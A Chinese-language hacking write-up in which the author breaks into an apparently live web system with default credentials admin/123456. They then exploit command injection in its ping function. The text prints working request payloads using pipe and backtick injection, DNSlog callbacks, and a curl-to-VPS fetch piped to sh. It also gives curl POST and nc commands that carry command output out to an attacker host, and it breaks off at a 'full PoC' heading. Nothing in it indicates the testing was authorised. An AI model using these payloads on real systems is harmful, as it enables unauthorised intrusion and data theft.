某次黑盒rce
background
看见公众号发了个day 搜了一下发现全网首发这个rce啊 其他地方发的都是任意文件读取 文件读取嘛 这个洞没啥太大的卵用 其实 但我看到是php的系统 任意文件读取有时候还是能出货的 读点源码审一下还是可以的
这个rce的poc要钱 其他有的公众号文件读取的还是不要钱的
fuzz
这里主要记录自己测试的过程
准备读点代码来看的 但是运气很好 一来就若进去了一个系统
admin 123456 yyds
后台找找能rce的地方 最爱的ping
这输入不了 是因为我之前fuzz的时候整废了 这个口子命令有问题就废了 只是前端废了 输入不了了
正常发两个包
看看数据包
正常fuzz
addr_value=219&pingname=127.0.0.1|whoami&pingtime=2&packetsize=1 |
没反应 回显是白的 前端还卡死了
盲打ping dns
addr_value=219&pingname=127.0.0.1|ping 222.k07niu.dnslog.cn&pingtime=2&packetsize=1 |
没反应 一般在这里我以前可能会觉得没货了
这里我直接打一下
addr_value=219&pingname=2222.o6cdky.dnslog.cn&pingtime=2&packetsize=1 |
dns没货 但是奇怪的是本地竟然有结果
不知道为什么这里dns没货 明明已经解析dns了呀 咋没记录
但是这里发现二级域名是可以回显的
addr_value=219&pingname=`whoami`.o6cdky.dnslog.cn&pingtime=2&packetsize=1 |
出货
addr_value=219&pingname=`ping qqq.24i49v.dnslog.cn`.o6cdky.dnslog.cn&pingtime=2&packetsize=1 |
于是呼反引号里面再打 但是没货啊
就在这里执行命令了,但是很多命令没法执行呀 这个回显太奇葩了 很多东西都显示不出来
测了一下正常域名这里是出网的 那干脆打一下vps
addr_value=219&pingname=`curl x.x.x.x:1234`.o6cdky.dnslog.cn&pingtime=2&packetsize=1 |
出货了 那就直接oob?
python3 -m http.server
里面内容放 文件名1
curl http://xxxx:8000/2`ls -al >1.txt` |
然后在搞另一个文件 把结果带出去 文件名2
curl -X POST -F xx=@1.txt http://xxxxx:8001 |
nc起一个端口
nc -l 8001 |
burp里发包
addr_value=219&pingname=`curl xxxxx:8000/1|sh`.o6cdky.dnslog.cn&pingtime=2&packetsize=1 |
首先会访问1里面的内容并且执行 1里就直接把命令结果写到1.txt了 接着访问2 执行传1.txt的操作
至此 出货 成功外带数据 但这个站不是php写的 不知道公众号的这些东西是怎么来的
完整poc
POST /main/deal HTTP/1.1 |